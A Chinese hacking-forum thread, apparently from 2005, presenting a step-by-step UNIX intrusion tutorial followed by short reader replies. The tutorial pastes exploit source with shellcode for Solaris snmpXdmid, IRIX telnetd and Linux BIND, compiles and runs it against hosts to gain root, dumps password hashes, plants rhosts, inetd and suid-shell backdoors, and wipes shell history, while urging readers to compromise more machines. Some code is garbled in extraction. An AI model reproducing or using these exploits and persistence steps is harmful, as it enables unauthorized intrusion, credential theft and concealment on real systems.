"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "/bin/ksh" ; static char nop[]="\x80\x1c\x40\x11"; typedef struct{ struct{unsigned int len;char *val;}name; struct{unsigned int len;char *val;}pragma; }req_t; bool_t xdr_req(XDR *xdrs,req_t *objp){ char *v=NULL;unsigned long l=0;int b=1; if(!xdr_u_long(xdrs,&l)) return(FALSE); if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE); if(!xdr_bool(xdrs,&b)) return(FALSE); if(!xdr_u_long(xdrs,&l)) return(FALSE); if(!xdr_bool(xdrs,&b)) return(FALSE); if(!xdr_array(xdrs,&objp->name.val,&objp->name.len,~0,sizeof(char), (xdrproc_t)xdr_char)) return(FALSE); if(!xdr_bool(xdrs,&b)) return(FALSE); if(!xdr_array(xdrs,&objp->pragma.val,&objp->pragma.len,~0,sizeof(char), (xdrproc_t)xdr_char)) return(FALSE); if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE); if(!xdr_u_long(xdrs,&l)) return(FALSE); return(TRUE); } main(int argc,char **argv){ char buffer[140000],address[4],pch[4],*b; int i,c,n,vers=-1,port=0,sck; CLIENT *cl;enum clnt_stat stat; struct hostent *hp; struct sockaddr_in adr; struct timeval tm={10,0}; req_t req; printf("copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/\n"); printf("snmpXdmid for solaris 2.7 2.8 sparc\n\n"); if(argch_addr,4); } sck=RPC_ANYSOCK; if(!(cl=clnttcp_create(&adr,SNMPXDMID_PROG,SNMPXDMID_VERS,&sck,0,0))){ clnt_pcreateerror("error");exit(-1); } cl->cl_auth=authunix_create("localhost",0,0,0,NULL); i=sizeof(struct sockaddr_in); if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){ struct{unsigned int maxlen;unsigned int len;char *buf;}nb; ioctl(sck,((';S';>8); findsckcode[12+3]=(unsigned char)(n&0xff); b=&buffer[0]; for(i=0;i<1248;i++) *b++=pch[i%4]; for(i=0;i<352;i++) *b++=address[i%4]; *b=0; b=&buffer[10000]; for(i=0;i<64000;i++) *b++=0; for(i=0;i<64000-188;i++) *b++=nop[i%4]; for(i=0;i for(i=0;i *b=0; req.name.len=1200+400+4; req.name.val=&buffer[0]; req.pragma.len=128000+4; req.pragma.val=&buffer[10000]; stat=clnt_call(cl,SNMPXDMID_ADDCOMPONENT,xdr_req,&req,xdr_void,NULL,tm); if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");exit(-1);} printf("sent!\n"); write(sck,"/bin/uname -a\n",14); while(1){ fd_set fds; FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(sck,&fds); if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){ int cnt; char buf[1024]; if(FD_ISSET(0,&fds)){ if((cnt=read(0,buf,1024))<1){ if(errno==EWOULDBLOCK||errno==EAGAIN) continue; else break; } write(sck,buf,cnt); } if(FD_ISSET(sck,&fds)){ if((cnt=read(sck,buf,1024))<1){ if(errno==EWOULDBLOCK||errno==EAGAIN) continue; else break; } write(1,buf,cnt); } } } } ^D 3 # gcc -o snmp snmp.c snmp.c: In function `main';: snmp.c:135: warning: assignment makes pointer from integer without a cast snmp.c:172: warning: passing arg 4 of pointer to function from incompatible pointer type Undefined first referenced symbol in file xdr_void /var/tmp/cca3rEDd.o clnttcp_create /var/tmp/cca3rEDd.o gethostbyname /var/tmp/cca3rEDd.o xdr_bool /var/tmp/cca3rEDd.o xdr_u_long /var/tmp/cca3rEDd.o authsys_create /var/tmp/cca3rEDd.o inet_addr /var/tmp/cca3rEDd.o clnt_pcreateerror /var/tmp/cca3rEDd.o xdr_array /var/tmp/cca3rEDd.o getsockname /var/tmp/cca3rEDd.o xdr_char /var/tmp/cca3rEDd.o xdr_pointer /var/tmp/cca3rEDd.o ld: fatal: Symbol referencing errors. No output written to snmp (***编译失败***) collect2: ld returned 1 exit status # gcc -o snmp snmp.c -lnsl snmp.c: In function `main';: snmp.c:135: warning: assignment makes pointer from integer without a cast snmp.c:172: warning: passing arg 4 of pointer to function from incompatible pointer type Undefined first referenced symbol in file getsockname /var/tmp/ccBaS71K.o ld: fatal: Symbol referencing errors. No output written to snmp collect2: ld returned 1 exit status # gcc -o snmp snmp.c -lnsl -lsocket (***要利用nsl和socket的库进行编译***) snmp.c: In function `main';: snmp.c:135: warning: assignment makes pointer from integer without a cast snmp.c:172: warning: passing arg 4 of pointer to function from incompatible pointer type # ./snmp copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/ snmpXdmid for solaris 2.7 2.8 sparc usage: ./snmp address [-p port] -v 7|8 #./snmp 192.168.0.4 -v 8 (***192.168.0.4 是台sunos 5.8 sparc的机器***) copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/ snmpXdmid for solaris 2.7 2.8 sparc adr=0x000c8f68 timeout=30 port=928 connected! sent! SunOS business 5.8 Generic_108528-03 sun4u sparc SUNW,Ultra-250 id uid=0(root) gid=0(root) echo "+ +" >/.rhosts echo ';ingreslock stream tcp nowait root /bin/ksh ksh -i'; > /tmp/.x /usr/sbin/inetd -s /tmp/.x rm -f /tmp/.x telnet localhost 1524 Trying 127.0.0.1... Connected to localhost. Escape character is ';^]';. # id ksh: id^M: not found # id; uid=0(root) gid=0(root) ksh: ^M: not found # exit; Connection closed by foreign host. Exit (***随便装个后门走人***) # -------------------------------------------------test-------------------------------------------------------------- SunOS 5.6 5.7 5.8的机器都有了,找找其他系统吧。 什么系统最破呢? Win2000? 呵呵,我说的是UNIX系列。 告诉大家,IRIX最破~ HOHO~ 记得昨天就扫到一台IRIX的破机器呢,我们接着来干掉它~ -------------------------------------------------test-------------------------------------------------------------- # telnet 192.168.0.10 Trying 192.168.0.10... Connected to 192.168.0.10. Escape character is ';^]';. IRIX (O2) login: test Password: UX:login: ERROR: Login incorrect login:^] telnet> quit Connection closed. #cat > telnetd.c (***源程序在_telnetd">http://lsd-pl.net/files/get?IRIX/irx_telnetd ***) #include #include #include #include #include #include #include #include char shellcode[]= "\x04\x10\xff\xff" /* bltzal $zero, */ "\x24\x02\x03\xf3" /* li $v0,1011 */ "\x23\xff\x02\x14" /* addi $ra,$ra,532 */ "\x23\xe4\xfe\x08" /* addi $a0,$ra,-504 */ "\x23\xe5\xfe\x10" /* addi $a1,$ra,-496 */ "\xaf\xe4\xfe\x10" /* sw $a0,-496($ra) */ "\xaf\xe0\xfe\x14" /* sw $zero,-492($ra) */ "\xa3\xe0\xfe\x0f" /* sb $zero,-497($ra) */ "\x03\xff\xff\xcc" /* syscall */ "/bin/sh" ; typedef struct{char *vers;}tabent1_t; typedef struct{int flg,len;int got,g_ofs,subbuffer,s_ofs;}tabent2_t; tabent1_t tab1[]={ { "IRIX 6.2 libc.so.1: no patches telnetd: no patches " }, { "IRIX 6.2 libc.so.1: 1918|2086 telnetd: no patches " }, { "IRIX 6.2 libc.so.1: 3490|3723|3771 telnetd: no patches " }, { "IRIX 6.2 libc.so.1: no patches telnetd: 1485|2070|3117|3414 " }, { "IRIX 6.2 libc.so.1: 1918|2086 telnetd: 1485|2070|3117|3414 " }, { "IRIX 6.2 libc.so.1: 3490|3723|3771 telnetd: 1485|2070|3117|3414 " }, { "IRIX 6, { "IRIX 6.3 libc.so.1: 3535|3737|3770 telnetd: no patches " }, { "IRIX 6.4 libc.so.1: no patches telnetd: no patches " }, { "IRIX 6.4 libc.so.1: 3491|3769|3738 telnetd: no patches " }, { "IRIX 6.5-6.5.8m 6.5-6.5.7f telnetd: no patches " }, { "IRIX 6.5.8f telnetd: no patches " } }; tabent2_t tab2[]={ { 0, 0x56, 0x0fb44390, 115, 0x7fc4d1e0, 0x14 }, { 0, 0x56, 0x0fb483b0, 117, 0x7fc4d1e0, 0x14 }, { 0, 0x56, 0x0fb50490, 122, 0x7fc4d1e0, 0x14 }, { 0, 0x56, 0x0fb44390, 115, 0x7fc4d220, 0x14 }, { 0, 0x56, 0x0fb483b0, 117, 0x7fc4d220, 0x14 }, { 0, 0x56, 0x0fb50490, 122, 0x7fc4d220, 0x14 }, { 0, 0x56, 0x0fb4fce0, 104, 0x7fc4d230, 0x14 }, { 0, 0x56, 0x0fb4f690, 104, 0x7fc4d230, 0x14 }, { 0, 0x56, 0x0fb52900, 104, 0x7fc4d230, 0x14 }, { 1, 0x5e, 0x0fb576d8, 88, 0x7fc4cf70, 0x1c }, { 1, 0x5e, 0x0fb4d6dc, 102, 0x7fc4cf70, 0x1c }, { 1, 0x5e, 0x7fc496e8, 77, 0x7fc4cf98, 0x1c }, { 1, 0x5e, 0x7fc496e0, 77, 0x7fc4cf98, 0x1c } }; char env_value[1024]; int prepare_env(int vers){ int i,adr,pch,adrh,adrl; char *b; pch=tab2[vers].got+(tab2[vers].g_ofs*4); adr=tab2[vers].subbuffer+tab2[vers].s_ofs; adrh=(adr>>16)-tab2[vers].len; adrl=0x10000-(adrh&0xffff)+(adr&0xffff)-tab2[vers].len; b=env_ if(!tab2[vers] sprintf(b,"%%%05dc%%22$hn%%%05dc%%23$hn",adrh,adrl); }else{ for(i=0;i>((3-i%4)*8))&0xff); for(i=0;i>((3-i%4)*8))&0xff); for(i=0;ih_addr,4); } if(connect(sck,(struct sockaddr*)&adr,sizeof(struct sockaddr_in))0){ printf("\n%s\n\n",tab1.vers); write(1,buffer,cnt); break; } close(sck); } if(i>ih) {printf("\nerror: not vulnerable\n");exit(-1);} while(1){ fd_set fds; FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(sck,&fds); if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){ int cnt; char buf[1024]; if(FD_ISSET(0,&fds)){ if((cnt=read(0,buf,1024)) #include #include ... (***重新粘贴一遍***) ... "telnetd.c" [New file] 188 lines, 6738 characters # gcc -o telnetd telnetd.c Undefined first referenced symbol in file socket /var/tmp/ccuoeAph.o gethostbyname /var/tmp/ccuoeAph.o inet_addr /var/tmp/ccuoeAph.o connect /var/tmp/ccuoeAph.o ld: fatal: Symbol referencing errors. No output written to telnetd collect2: ld returned 1 exit status # gcc -o telnetd telnetd.c -lsocket -lnsl # ./telnetd copyright LAST STAGE OF DELIRIUM jul 2000 poland //lsd-pl.net/ telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all usage: ./telnetd address [-v 62|63|64|65] # ./telnetd 192.168.0.10 -v 65 copyright LAST STAGE OF DELIRIUM jul 2000 poland //lsd-pl.net/ telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all . IRIX 6.5-6.5.8m 6.5-6.5.7f telnetd: no patches IRIX O2 6.5 05190004 IP32 (***溢出成功啦***) id uid=0(root) gid=0(sys) cat /etc/passwd root:mmanI4kyarAEA:0:0:Super-User:/:/usr/bin/tcsh sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh cmwlogin:*:0:994:CMW Login UserID:/usr/CMW:/sbin/csh diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh daemon:*:1:1:daemons:/:/dev/null bin:*:2:2:System Tools Owner:/bin:/dev/null uucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh sys:*:4:0:System Activity Owner:/var/adm:/bin/sh adm:*:5:3:Accounting Files Owner:/var/adm:/bin/sh lp::9:9:Print Spooler Owner:/var/spool/lp:/bin/sh ***不少人进来过呢 nuucp::10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico * auditor:*:11:0:Audit Activity Owner:/auditor:/bin/sh dbadmin:*:12:0:Security Database Owner:/dbadmin:/bin/sh sgiweb:*:13:60001:SGI Web Applications:/var/www/htdocs:/bin/csh rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh EZsetup::992:998:System Setup:/var/sysadmdesktop/EZsetup:/bin/csh * demos::993:997:Demonstration User:/usr/demos:/bin/csh * OutOfBox::995:997:Out of Box Experience:/usr/people/OutOfBox:/bin/csh * guest::998:998:Guest Account:/usr/people/guest:/bin/csh * 4Dgifts:*:999:998:4Dgifts Account:/usr/people/4Dgifts:/bin/csh nobody:*:60001:60001:SVR4 nobody uid:/dev/null:/dev/null noaccess:*:60002:60002:uid no access:/dev/null:/dev/null nobody:*:60001:60001:original nobody uid:/dev/null:/dev/null informix:*:49999:777:Informix SA 3.0:/usr/sgi/informix:/bin/csh posuser:gyo7hUq9BFNYE:55555:20::: antoni:zUzbvPoZ6HC4g:23117:20:antoniWang:/usr/people/antoni:/bin/csh #mkdir /usr/lib/... (***有这么多用户可以登陆,我们做个suid root shell就可以啦。***) cp /bin/ksh /usr/lib/.../.x chmod +s /usr/lib/.../.x exit # -------------------------------------------------test-------------------------------------------------------------- 在SunOS 5.7平台下攻击IRIX 6.5 系统成功完成。:) 我们来找几台Linux 玩玩。找Redhat吧,漏洞多一些,比如rpc.statd wuftp bind lpd等。:P 我们同样以这个SunOs 5.7做为我们攻击Linux的平台。Lsd写的exploit通用性真不错。 这次我们用bind远程溢出来攻击redhat 6.2 不过因为前段时间的worm,bind的成功率已经很小啦。 大家可以试试其它的远程溢出~~ -------------------------------------------------test-------------------------------------------------------------- #cat > bind.c (***源程序在_bind">http://lsd-pl.net/files/get?LINUX/linx86_bind ***) #include #include #include #include #include #include #include char msg[]={ 0xab,0xcd,0x09,0x80,0x00,0x00,0x00,0x01, 0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00, 0x01,0x20,0x20,0x20,0x20,0x02,0x61 }; char asmcode[]= "\x3f" /* label len 63 */ "\x90\x90\x90" /* padding */ "\xeb\x3b" /* jmp */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x5f" /* popl %edi */ "\x83\xef\x7c" /* sub $0x7c,%edi */ "\x8d\x77\x10" /* leal 0x10(%edi),%esi */ "\x89\x77\x04" /* movl %esi,0x4(%edi) */ "\x8d\x4f\x20" /* leal 0x20(%edi),%ecx */ "\x89\x4f\x08" /* movl %ecx,0x8(%edi) */ "\xb3\x10" /* movb $0x10,%bl */ "\x89\x19" /* movl %ebx,(%ecx) */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb1\xff" /* movb $0xff,%cl */ "\x89\x0f" /* movl %ecx,(%edi) */ "\x51" /* pushl %ecx */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x07" /* movb $0x7,%bl */ "\x89\xf9" /* movl %edi,%ecx */ "\xcd\x80" /* int $0x80 */ "\x59" /* popl %ecx */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x39\xd8" /* cmpl %ebx,%eax */ "\x75\x0a" /* jne */ "\x66\xbb\x12\x34" /* movw $0x1234,%bx */ "\x66\x39\x5e\x02" /* cmpw %bx,0x2(%esi) */ "\x74\x08" /* je */ "\xe2\xe0" /* loop */ "\x3f" /* label len 63 */ "\xe8\xc0\xff\xff\xff" /* call */ "\x89\xcb" /* movl %ecx,%ebx */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb1\x03" /* movb $0x03,%cl */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x3f" /* movb $0x3f,%al */ "\x49" /* decl %ecx */ "\xcd\x80" /* int $0x80 */ "\x41" /* incl %ecx "\xe2\xf6" /* loop */ "\xeb\x14" /* jmp */ "\x31\xc0" /* xorl %eax,%eax */ "\x5b" /* popl %ebx */ "\x8d\x4b\x14" /* leal 0x14(%ebx),%ecx */ "\x89\x19" /* movl %ebx,(%ecx) */ "\x89\x43\x18" /* movl %eax,0x18(%ebx) */ "\x88\x43\x07" /* movb %al,0x7(%ebx) */ "\x31\xd2" /* xorl %edx,%edx */ "\xb0\x0b" /* movb $0xb,%al */ "\xcd\x80" /* int $0x80 */ "\xe8\xe7\xff\xff\xff" /* call */ "/bin/sh" "\x90\x90\x90\x90" /* padding */ "\x90\x90\x90\x90" ; int rev(int a){ int i=1; if((*(char*)&i)) return(a); return((a>>24)&0xff)|(((a>>16)&0xff)>8)&0xff)h_addr,4); } sck[0]=socket(AF_INET,SOCK_DGRAM,0); sck[1]=socket(AF_INET,SOCK_STREAM,0); if(connect(sck[0],(struct sockaddr*)&adr,sizeof(adr))>8)&0xff); asmcode[4+48+3]=(unsigned char)(n&0xff); if(write(sck[0],msg,sizeof(msg))==-1) goto err; if((cnt=read(sck[0],buffer,sizeof(buffer)))==-1) goto err; printf("stack dump:\n"); for(i=0;i>1);i++,b++) *b++=0x01; memcpy(b,"\x00\x00\x01\x00\x01",5);b+=5; for(i=0;i>1);i++,b++) *b++=0x01; *b++=28; memcpy(b,"\x06\x00\x00\x00",4);b+=4; memcpy(b,&fp,4);b+=4; memcpy(b,"\x06\x00\x00\x00",4);b+=4; memcpy(b,&jmp,4);b+=4; memcpy(b,&jmp,4);b+=4; memcpy(b,&fp,4);b+=4; memcpy(b,&ptr6,4);b+=4; cnt-=ofs+28; for(i=0;i>1);i++,b++) *b++=0x01; memcpy(b,"\x00\x00\x01\x00\x01\x00\x00\xfa\xff",9);b+=9; if(write(sck[0],buffer,b-buffer)==-1) goto err; sleep(1);printf("sent!\n"); write(sck[1],"/bin/uname -a\n",14); while(1){ fd_set fds; FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(sck[1],&fds); if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){ int cnt; char buf[1024]; if(FD_ISSET(0,&fds)){ if((cnt=read(0,buf,1024)) /etc/passwd telnet localhost Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is ';^]';. Red Hat Linux release 6.2 (Zoot) Kernel 2.2.14-5.0 on an i686 login: test bash$ id uid=1(bin) gid=0(root) groups=0(root) bash$ exit logout Connection closed by foreign host. mkdir /usr/lib/... cp /bin/sh /usr/lib/.../.x chmod +s /usr/lib/.../.x exit #rm -rf /tmp/*.c #mv bind /usr/lib/... #mv test /usr/lib/... #mv lpset /usr/lib/... #mv snmp /usr/lib/... #cd #rm -rf .sh_history /.sh_history #chmod 777 /usr/lib/... #exit $exit -------------------------------------------------test-------------------------------------------------------------- 省略了很多,如后门安装和脚印的擦除等。 其实入侵一个系统后更要注意保持自己在系统上的权限,所以清除日志以免被发现,和安放后门以便再次进入这个系统 都是很重要的。 因为以前写过这方面的教程,就不再写了。 大家慢慢提高自己的技术吧。 有时间就去扩散战果,比如Redhat 7.0和该死的freebsd。 自己想办法哦。 肉鸡找回来几台,最后一篇入侵教程总算也写完了,再见啦~ 以后也许会写一些技术分析的文章。 大家好运...
作者: 雷震天    时间: 2005-4-3 09:57     标题: 一步一步跟我学unix入侵

哎,都太深了。要好好学学才行啊。

作者: 千與千尋    时间: 2005-4-3 13:45     标题: 一步一步跟我学unix入侵

可以自己装个LINUX 系统~~  虚拟机就可以~~ 学起来方便
作者: 所谓伊人    时间: 2005-4-3 15:03     标题: 一步一步跟我学unix入侵

unix系统一点也不熟悉,没接触过
过一段没什么事了真的好好学习学习了!
千,辛苦了!
作者: huajinli    时间: 2005-4-4 00:38     标题: 一步一步跟我学unix入侵

unix系统没用过,用这个系统的人也很少很少,不过还是顶
  能不能教一下怎么入侵XP,谢谢`XP的安全性很高,请指教




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